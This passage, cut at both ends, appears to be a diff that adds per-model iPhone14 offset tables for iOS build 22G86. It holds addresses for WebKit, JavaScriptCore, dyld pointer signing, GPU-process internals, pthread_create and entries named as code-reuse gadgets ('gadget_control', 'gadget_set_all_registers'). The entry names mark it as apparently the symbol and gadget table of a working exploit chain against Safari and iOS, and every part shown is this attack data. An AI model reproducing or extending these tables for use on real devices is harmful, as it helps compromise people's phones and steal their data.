0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704108n, + free_slabs : 0x1ed7bd890n, + gadget_control_1_ios184 : 0x23ed152ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f019150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6ab0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6760n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6768n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6770n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d66b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6778n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cab78b4n, + libGPUCompilerImplLazy_cstring : 0x23bc01870n, + libsystem_c__atexit_mutex : 0x1ed6e2d18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1f80n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25790be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27174c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876d28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883af8n, + WebCore__initPKContact_value : 0x1ed883b00n, + WebCore__PAL_getPKContactClass : 0x1ed87afb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8822d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8822c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8822b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877f00n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone14,5_22G86": { + __pthread_head : 0x2690cc020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f63e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5ed0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5e30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5e80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5278n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704108n, + free_slabs : 0x1ed7bd890n, + gadget_control_1_ios184 : 0x23ed152ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f019150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6ab0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6760n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6768n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6770n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d66b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6778n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cab78b4n, + libGPUCompilerImplLazy_cstring : 0x23bc01870n, + libsystem_c__atexit_mutex : 0x1ed6e2d18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1f80n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25790be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27174c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876d28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883af8n, + WebCore__initPKContact_value : 0x1ed883b00n, + WebCore__PAL_getPKContactClass : 0x1ed87afb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8822d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8822c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8822b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877f00n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone14,6_22G86": { + __pthread_head : 0x26907c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa1e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9cd0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9c30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9c80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9078n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95d70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707f08n, + free_slabs : 0x1ed7c1690n, + gadget_control_1_ios184 : 0x23ec912ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da8b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da560n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da568n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da570n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da578n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ca338b4n, + libGPUCompilerImplLazy_cstring : 0x23bb7d870n, + libsystem_c__atexit_mutex : 0x1ed6e6b18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5d80n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257883e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2716f4000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ab28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed8878f8n, + WebCore__initPKContact_value : 0x1ed887900n, + WebCore__PAL_getPKContactClass : 0x1ed87edb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8860d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8860c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8860b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87bd00n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone14,7_22G86": { + __pthread_head : 0x269494020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f65a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f6090n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5ff0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6040n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5438n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7042c8n, + free_slabs : 0x1ed7bda50n, + gadget_control_1_ios184 : 0x23ed292ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6c70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6920n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6928n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6930n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6870n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6938n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cacb8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc15870n, + libsystem_c__atexit_mutex : 0x1ed6e2ed8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2140n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25791fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271b54000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876ee8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883cb8n, + WebCore__initPKContact_value : 0x1ed883cc0n, + WebCore__PAL_getPKContactClass : 0x1ed87b178n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882490n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882488n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed882470n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed8780c0n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone14,8_22G86": { + __pthread_head : 0x269494020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f65a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f6090n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5ff0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6040n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5438n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7042c8n, + free_slabs : 0x1ed7bda50n, + gadget_control_1_ios184 : 0x23ed292ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6c70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6920n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6928n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6930n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6870n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6938n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cacb8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc15870n, + libsystem_c__atexit_mutex : 0x1ed6e2ed8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2140n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25791fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271b54000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876ee8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883cb8n, + WebCore__initPKContact_value : 0x1ed883cc0n, + WebCore__PAL_getPKContactClass : 0x1ed87b178n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882490n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882488n, + 